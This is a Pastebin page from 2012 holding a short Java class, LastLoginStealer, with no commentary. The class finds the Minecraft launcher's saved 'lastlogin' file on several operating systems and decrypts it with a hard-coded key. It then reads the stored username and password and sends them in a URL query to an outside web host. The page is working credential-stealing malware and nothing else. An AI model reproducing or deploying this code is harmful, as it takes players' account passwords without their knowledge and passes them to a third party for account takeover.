Advertisement
jonalu

Untitled

Mar 6th, 2012
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 3.24 KB | None | 0 0
  1. import java.io.DataInputStream;
  2. import java.io.File;
  3. import java.io.FileInputStream;
  4. import java.net.URL;
  5. import java.util.Random;
  6.  
  7. import javax.crypto.Cipher;
  8. import javax.crypto.CipherInputStream;
  9. import javax.crypto.SecretKey;
  10. import javax.crypto.SecretKeyFactory;
  11. import javax.crypto.spec.PBEKeySpec;
  12. import javax.crypto.spec.PBEParameterSpec;
  13.  
  14.  
  15. public class LastLoginStealer {
  16.     private static Cipher getCipher(int mode, String password) throws Exception {
  17.         Random random = new Random(43287234L);
  18.         byte[] salt = new byte[8];
  19.         random.nextBytes(salt);
  20.         PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
  21.  
  22.         SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec(password.toCharArray()));
  23.         Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
  24.         cipher.init(mode, pbeKey, pbeParamSpec);
  25.         return cipher;
  26.       }
  27.     public static void stealLastLogin() {
  28.         readUsername();
  29.     }
  30.     private static void readUsername() {
  31.         try {
  32.           File lastLogin = new File(getWorkingDirectory(), "lastlogin");
  33.  
  34.           Cipher cipher = getCipher(2, "passwordfile");
  35.           DataInputStream dis;
  36.           if (cipher != null)
  37.             dis = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher));
  38.           else {
  39.             dis = new DataInputStream(new FileInputStream(lastLogin));
  40.           }
  41.           String username = dis.readUTF();
  42.           String password = dis.readUTF();
  43.           String combi = username+":"+password;
  44.           (new URL("http://jonalu.net/test.php?send="+combi)).openStream();
  45.           dis.close();
  46.         } catch (Exception e) {
  47.           e.printStackTrace();
  48.         }
  49.       }
  50.     private static File workDir = null;
  51.  
  52.       public static File getWorkingDirectory() {
  53.         if (workDir == null) workDir = getWorkingDirectory("minecraft");
  54.         return workDir;
  55.       }
  56.     public static File getWorkingDirectory(String applicationName) {
  57.         String userHome = System.getProperty("user.home", ".");
  58.         File workingDirectory;
  59.         switch (getPlatform()) {
  60.         case 1:
  61.         case 2:
  62.           workingDirectory = new File(userHome, '.' + applicationName + '/');
  63.           break;
  64.         case 3:
  65.           String applicationData = System.getenv("APPDATA");
  66.           if (applicationData != null) workingDirectory = new File(applicationData, "." + applicationName + '/'); else
  67.             workingDirectory = new File(userHome, '.' + applicationName + '/');
  68.           break;
  69.         case 4:
  70.           workingDirectory = new File(userHome, "Library/Application Support/" + applicationName);
  71.           break;
  72.         default:
  73.           workingDirectory = new File(userHome, applicationName + '/');
  74.         }
  75.         if ((!workingDirectory.exists()) && (!workingDirectory.mkdirs())) throw new RuntimeException("The working directory could not be created: " + workingDirectory);
  76.         return workingDirectory;
  77.       }
  78.  
  79.       private static int getPlatform() {
  80.         String osName = System.getProperty("os.name").toLowerCase();
  81.         if (osName.contains("win")) return 3;
  82.         if (osName.contains("mac")) return 4;
  83.         if (osName.contains("solaris")) return 1;
  84.         if (osName.contains("sunos")) return 1;
  85.         if (osName.contains("linux")) return 2;
  86.         if (osName.contains("unix")) return 2;
  87.         return 0;
  88.       }
  89. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement